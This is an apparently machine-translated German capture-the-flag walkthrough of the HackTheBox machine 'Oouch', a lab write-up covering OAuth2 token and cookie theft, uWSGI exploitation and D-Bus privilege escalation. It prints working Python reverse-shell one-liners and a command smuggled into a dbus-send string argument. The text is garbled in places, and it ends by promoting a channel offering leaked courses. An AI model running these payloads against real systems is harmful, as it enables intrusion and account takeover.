HackTheBox. Exemplarische Vorgehensweise Oouch. OAuth2, RCE zu uWSGI und LPE über DBUS

Ich veröffentliche weiterhin Lösungen, die zur Finalisierung von Maschinen von der HackTheBox- Plattform gesendet wurden .



In diesem Artikel analysieren wir den Angriff auf die OAuth2-Authentifizierung und registrieren unsere Anwendung, um Administrator-Cookies zu entführen. Darüber hinaus führen wir den RCE auf dem Webserver und dem uWSGI-Webanwendungsserver aus und erhöhen die Berechtigungen über den D-Bus-Nachrichtenbus.



Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem wichtige Daten für Sie vorhanden sind, da Sie sich in einem privaten Netzwerk mit Personen befinden, die etwas über Informationssicherheit wissen.

Aufklärung

Dieser Computer hat eine IP-Adresse vom 10.10.10.177, die ich zu / etc / hosts hinzufüge.

10.10.10.177 	oouch.htb

Der erste Schritt ist das Scannen offener Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit 500 Paketen pro Sekunde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182      --rate=500

Führen Sie jetzt einen Scan mit der Option -A aus, um detailliertere Informationen zu den Diensten zu erhalten, die an den Ports ausgeführt werden.

nmap -A oouch.htb -p8000,22,21,5000,5555

So haben wir:

• Port 22 ist SSH.
• Port 8000 ist der Webserver, der mit Code 400 antwortet.
• Port 5000 - Webserver, Weiterleitung zur Autorisierungsseite.
• Port 21 - FTP, in dem sich die Datei project.txt befindet, mit autorisierter Berechtigung von anonym zugänglich.

Gehen Sie als anonym zu FTP, laden Sie die Datei herunter und sehen Sie.











Sagt uns nichts. Wir gehen zum Webserver.







Wie aus dem nmap-Bericht hervorgeht, erfolgt eine Umleitung zur Autorisierungsseite. Es besteht die Möglichkeit der Registrierung, registrieren wir uns und melden uns dann an.















Daher befindet sich die Site in der Entwicklung, speichert ein Minimum an Informationen über Benutzer, kann Dokumente speichern (diese Option steht nur dem Entwickler zur Verfügung) und hat auch Feedback von Administratoren. Wir sind sicher, dass der Systemadministrator alle Nachrichten liest.



Beim Versuch, Cookies zu stehlen, wurde das Tag blockiert (es wird übrigens nicht mehr blockiert).







Da kein Vektor gefunden wurde, wurde beschlossen, Verzeichnisse zu scannen.

dirb http://oouch.htb:5000/

Und wir finden ein verstecktes Verzeichnis oauth.







Fügen wir diese Domain zu / etc / hosts hinzu.

10.10.10.177    consumer.oouch.htb

Es gibt jedoch eine Weiterleitung. Fügen wir diese Domain zu / etc / hosts hinzu.

10.10.10.177    authorization.oouch.htb

Wieder trifft die Anmeldeseite. Wir melden uns mit denselben Anmeldeinformationen an. Bei einem neuen Versuch werden wir jedoch auf Port 8000 übertragen.



consumer.oouch.htb : 5000 / oauth / connect -> authorisation.oouch.htb : 8000 / login /







Nachdem wir die Verzeichnisse sofort gescannt haben, finden wir nichts Interessantes, also registrieren wir uns auch hier.







Und finde ein neues Verzeichnis, das dirb nicht gefunden hat. Lass es uns suchen.

dirb http://authorization.oouch.htb:8000/oauth

Es gibt noch ein Verzeichnis! Aber dort werden wir von der HTTP-Authentifizierung getroffen.







Wir machen das auch in diesem Verzeichnis.

dirb http://authorization.oouch.htb:8000/oauth/applications/

Die wahrscheinlichsten Anwendungen befinden sich in diesem Verzeichnis und können registriert werden. Wir finden hier nichts interessanteres.



Durch die Registrierung, wo immer dies erforderlich war, kehren wir zur ursprünglichen Verbindung zurück. Die OAuth-Authentifizierung wird verwendet.

OAuth-Authentifizierung

OAuth ist ein offenes Autorisierungsprotokoll, mit dem Sie einem Dritten eingeschränkten Zugriff auf die geschützten Ressourcen eines Benutzers gewähren können, ohne ein Login und ein Kennwort an den Dritten übertragen zu müssen.



OAuth verwendet drei Arten von Anmeldeinformationen: Clientanmeldeinformationen, temporäre Anmeldeinformationen und Tokenanmeldeinformationen.



OAuth 2.0-Protokollschritte:

1. . (client ID), (client secret), URI (redirect URI) .
2. , authorization grant.
3. , .
4. , , ( ). .
5. .
6. , .

Auf diese Weise wird das Benutzerkonto bestimmten Ressourcen auf dem Ressourcenserver zugeordnet.

Oauth Angriff

Dieses Protokoll kann angegriffen werden, wodurch wir unser Konto mit den Ressourcen eines anderen Benutzers verknüpfen können. Dazu müssen Sie Ihr einmaliges Zugriffstoken nicht verwenden, sondern einen anderen Benutzer zwingen, es auf den Server zu übertragen. Dann wird das Konto, dem das Token gehört, den Ressourcen des Kontos zugeordnet, das es bereitgestellt hat.

Da der Systemadministrator alle Nachrichten beantwortet, ist es möglich, dass er dem Link folgt, den wir ihm senden. Darüber hinaus wird in dieser Anwendung das Zugriffstoken nicht im HTTP-Header (wie es sein sollte), sondern im URL-Parameter übergeben. Auf diese Weise können wir diesen Angriff ausführen.



Gehen Sie zu consumer.oouch.htb : 5000 / oauth / connect und fangen Sie es mit Burp Suite ab.







Wir überspringen diese Anfrage und werden mit dem Client-ID-Parameter umgeleitet.







Wir überspringen auch diese Anfrage. Die Umleitung folgt erneut, wo wir andere Parameter des Authentifizierungsprotokolls beobachten können.







Überspringen Sie die Anfrage erneut. Auf der Seite wird ein Autorisierungsfenster angezeigt. Klicken Sie zum Abschluss auf die Schaltfläche Autorisierung.











Wir überspringen diese Anfrage. Und jetzt werden wir wieder umgeleitet, mit einem einmaligen Code als Parameter!







Speichern wir dieses Token und verwerfen die Anforderung. Senden wir diesen Link an den Administrator, damit unser Konto an seine Ressourcen gebunden wird, wenn er ihm folgt (und wenn Sie sich erinnern, hat er das Recht, Dokumente zu speichern).







Gehen wir nun durch consumer.oouch.htb : 5000 / oauth / login.















Wir klicken auf die bereits bekannte Schaltfläche und beobachten auf der geöffneten Seite das Benutzerprofil qtc.







Sehen wir uns die Dokumente an.







Es gibt Datensätze zu SSH-Schlüssel, Benutzerverzeichnis und Anmeldeinformationen für die Registrierung von Anwendungen.

Einstiegspunkt

Wenn wir unsere Anwendung registrieren können, können wir den Administrator zwingen, zu ihr zu gehen und seine Cookies herauszufinden!



Kehren wir zur Registrierungsseite der Anwendung zurück und melden Sie sich an. In dem sich öffnenden Formular registrieren wir eine neue Anwendung, die den öffentlichen Typ des Clients, den Codetyp der Autorisierungsgewährung und den auf dem lokalen Host für die Verbindung geöffneten Port angibt.







Wir speichern unsere Kunden-ID und unser Kundengeheimnis. Versuchen wir, uns anzumelden, um zu überprüfen, ob die Authentifizierung funktioniert und der Benutzer zu uns weitergeleitet wird.



Lassen Sie uns einen Link bilden und die Daten der registrierten Anwendung in den entsprechenden Parametern angeben:



authorisation.oouch.htb: 8000 / oauth / autorisieren / client_id = MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs & redirect_uri = http: //10.10.14.203: 4321 & grant_type = authorization_code & client_secret = e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6



es nun folgen die Verbindung zu sehen.







Da alles funktioniert, senden wir es an den Administrator.







So erkennen wir seine Cookies. Wenden wir sie an.







Und wir sind auf dem Server als qtc autorisiert.

NUTZER

Für den Zugriff auf die Ressource benötigen wir ein Token. Damit der Server es an uns zurückgeben kann, ändern wir den Typ der Berechtigungsgewährung in client_credentials.







Und wir werden das Token mit curl anfordern: Legen Sie die POST-Methode (-X), die erforderlichen HTTP-Header (-H), Cookies und die Daten fest, die wir senden möchten, und lassen Sie die Umleitung (-L) zu. Da die Antwort im JSON-Format zurückgegeben wird, verwenden wir jq, um die Antwort gut anzuzeigen.

curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H “Content-Type: application/x-www-form-urlencoded” --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" --data “grant_type=client_credentials&client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6” -L -s | jq

Wir erhalten einen Token. Und jetzt können wir uns der Ressource zuwenden, die in den Dokumenten aufgeführt war. Machen wir das auch mit Curl.

curl "http://authorization.oouch.htb:8000/api/get_user.txt/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq

Wie erwartet erhalten wir Informationen über den Benutzer. Aber ich wusste nicht, was ich als nächstes tun sollte! Die Vermutung kam erst, als sie mir andeuteten, dass die API zum Abrufen von Benutzerdaten bereit ist, aber es gibt Pläne, den SSH-Schlüssel zu erhalten. Dann dachte ich, dass ich analog zur get_user-API versuchen sollte, get_ssh aufzurufen, um Informationen über einen Benutzer zu erhalten.

curl "http://authorization.oouch.htb:8000/api/get_ssh/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie "csr
ftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq

Und wir bekommen den qtc-Benutzerschlüssel. Nachdem wir es in seine normale Form gebracht haben, verbinden wir uns mit dem Host und nehmen den Benutzer.

WURZEL

Führen Sie LinPEAS aus, um eine Rekonstruktion auf dem Host durchzuführen. Als Ergebnis finden wir eine Notiz, die von der Wurzel hinterlassen wird.











Und abgesehen von der Tatsache, dass Docker auf dem Host und dem privaten SSH-Schlüssel ausgeführt wird, finden wir nichts.







Höchstwahrscheinlich geht der Angriffsvektor zum Docker. Darüber hinaus werden in der Notiz DBus und iptables erwähnt. Jeder kennt iptables bereits, aber DBus ist eine andere Sache. Dbus oder Desktop Bus ist ein System, das hauptsächlich im Linux-Betriebssystem verwendet wird, damit verschiedene Anwendungen und Dienste miteinander kommunizieren können.



Werfen wir einen Blick auf die gefundenen Netzwerkschnittstellen.







Und wir sehen 2 Gastgeber. Wir haben es geschafft, den ersten zu betreten.







Und finden Sie das Verzeichnis / den Code.







In start.sh finden wir die Verwendung von uwsgi.







Und in route.py finden wir die Verwendung von dbus.











Somit hat der Benutzer des Dienstes das Recht, den dbus zu nutzen. Das heißt, wir brauchen eine Muschel.



uWSGI ist ein Webserver und ein Webanwendungsserver, die ursprünglich implementiert wurden, um Python-Anwendungen über das WSGI-Protokoll auszuführen. Wird verwendet, um Anwendungen auszuführen, die auf den Frameworks Django, Flask und anderen basieren. Lassen Sie uns nach Exploits suchen.







Laden Sie das allererste herunter und laden Sie es auf den Host hoch.

scp -i .ssh/id_rsa uwsgi-exp.py 172.18.0.5:~/

Lasst uns beginnen.







Wir brauchen also eine uwsgi-Buchse. Darüber hinaus wird der Dienst derzeit ausgeführt.







Dies bedeutet, dass sich der Socket auch im tmp-Verzeichnis befindet.







Lassen Sie uns den Exploit mit allen Parametern ausführen.







Beim Importieren von Bytes tritt ein Fehler auf. Lassen Sie uns den Quellcode ändern.











Wenn Sie den Exploit erneut ausführen, funktioniert er, aber nicht. Ich habe die Bash-Shell durch Python ersetzt. Es funktionierte.

python uwsgi-exp.py -m unix -u /tmp/uwsgi.socket -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",5432));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

Im Terminal mit dem Netcat sehen wir die Verbindung.







Und jetzt haben wir das Recht, dbus zu betreiben. Der Befehl dbus-send wird verwendet, um eine Nachricht an den D-Bus-Nachrichtenbus zu senden. Es gibt zwei bekannte Nachrichtenbusse: den systemweiten Nachrichtenbus und den Nachrichtenbus für die Anmeldesitzung des Benutzers. Um dbus-send verwenden zu können, müssen Sie den „Verbindungsnamen“ kennen, der im Parameter --dest angegeben ist. Der Pfad zum Objekt und der Name der zu sendenden Nachricht müssen immer angegeben werden. Die folgenden Argumente, falls vorhanden, sind der Nachrichteninhalt (Nachrichtenargumente). Sie werden als Typname, Doppelpunkt und dann als Wert des Arguments angegeben. Mögliche Typnamen: string, int32, uint32, double, byte, boolean.



Beispielbefehl:

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block “string:; SHELL”

Wir verwenden --print-reply, um die Antwort auf die Anfrage zu blockieren.

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block "string:;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",6543));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])';"

Und wir sehen eine erfolgreiche Verbindung.







Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, durchgesickerte Kurse und Software. Lassen Sie uns eine Community zusammenstellen, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.